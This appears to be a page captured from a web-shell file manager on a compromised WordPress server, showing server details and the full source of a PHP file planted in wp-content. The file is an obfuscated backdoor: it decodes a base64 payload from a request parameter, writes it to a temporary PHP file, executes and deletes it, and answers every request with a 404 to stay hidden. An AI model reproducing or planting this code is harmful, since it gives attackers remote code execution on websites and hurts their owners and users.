HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/5d1a8a66.php
<?php
try{
$b8fec5[]='unli'.'nk';
$b8fec5[]='base64_deco'.'de';
$b8fec5[]='arra'.'y_key_exists';
$b8fec5[]='sys_'.'get_temp_dir';
$b8fec5[]='temp'.'nam';
$b8fec5[]='fi'.'le_put_contents';
$u6fd9e='4830e1'.'6d';
if($b8fec5[2]($u6fd9e,$_POST)){
$sde5b5=$b8fec5[1]($_POST[$u6fd9e]);
}elseif($b8fec5[2]($u6fd9e,$_GET)){
$sde5b5=$b8fec5[1]($_GET[$u6fd9e]);
}else{$sde5b5=null;}
if($sde5b5){
$o299ca=$b8fec5[4]($b8fec5[3](),'w'.'p_');
if($o299ca){
$b8fec5[5]($o299ca,'<'.'?ph'.'p '.$sde5b5);
http_response_code(404);
@include_once($o299ca);
@$b8fec5[0]($o299ca);
}}
http_response_code(404);
}catch(Throwable $e){http_response_code(404);}catch(Exception $e){http_response_code(404);}